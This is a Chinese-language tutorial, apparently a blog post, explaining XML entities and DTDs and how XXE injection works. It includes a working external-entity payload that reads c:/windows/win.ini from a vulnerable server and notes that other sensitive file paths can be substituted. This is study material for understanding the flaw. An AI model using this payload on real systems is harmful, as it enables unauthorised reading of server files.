XXE漏洞概述
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
这里附上一张博主 仙女象 的一张导图
什么是XML
extensible markup language(XML)类似于HTML的可扩展的标记语言,但主要区别在于,HTML是关于数据表示的,但是XML是关于数据传输的,XML是可读的,他被用在很多地方,比如API,UI布局,android应用程序配置文件,RSS等
这是一个XML文档的例子
<?xml version='1.0'> //指定xml元数据,在这种情况下,xml解析器在处理时将使用的版本为1.0
<Person> //这个标签存放的是根文档的元素
<Name>BaiMao</Name> //嵌套标签name
<Age>17</Age> //嵌套标签age
</Person>
XML文档有一些语法规则,比如说标签名称的大小写,这意味着开始和结束标签名称必须完全相同,还有某些字符,如<>’ "
<?xml version='1.0'>
<Person>
<Name>BaiMao</Name>
<Age>17<>' "</Age> //错误的使用方法
</Person>
这些符号不能直接在xml文档中,因为解析器会很难理解输入的是否是值的一部分或者只是一个标签
解决办法是一种被称为实体的东西。
实体
实体是简单的存储单元,可以将他们视为xml的变量,可以为它赋予一个值,然后在xml文档里不同地方多次使用,但在xml文档中单独部分里被定义,被称为文档类型定义简称为DTD
示例:
<?xml version="1.0"?>
<!DOCTYPE Person [ //在doctype中创建了一个实体,它告诉xml解析器这是一个文档类型的定义
<!ENTITY name "baimao"> //我们在这里定义了一个存储单元,将其命名为name
]>
<Person>
<Name>&name;</Name> //在这里使用了一个实体,然后在名称标签里引用了它
<Age>17</Age>
</Person>
如果要在多个地方使用相同的值,这种方法可以省很多时间
在xml文档中存在三种类型的实体,通用实体,参数实体和预定义实体,刚刚演示的是通用实体,在通用实体中,我们只是有一些值在某处被引用。
DTD实体的内部声明和外部声明
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
DTD内部实体声明:
<!ENTITY 实体名称 “实体的值”>
DTD外部实体声明:
<!ENTITY 实体名称 SYSTEM “URI/URL”>
在攻击时,内部的实体声明可以读取本地铭感信息和文件,而外部实体声明可以从URI中读取实体的内容。攻击者可以通过实体将自定义的值发送给应用程序,然后让应用程序去呈现。
XXE漏洞
随意提交数据,出现善意的提示。
随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe "冲~~~" > ]>
<hack>&xxe;</hack>
页面回显了冲~~~
我们已经判断了输入内部实体是有回显的,那接下来可以用带内外部实体注入的方法,来确定是否支持外部实体,以及实施攻击。
c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
输入payload(以下代码中xxe是外部实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<hack>&xxe;</hack>
即可查看c:/windows/win.ini的内容
想要查看其他系统敏感文件,只要以该文件路径c:/windows/win.ini替换掉就可以了
这里注意file://协议只能用绝对路径,用不了相对路径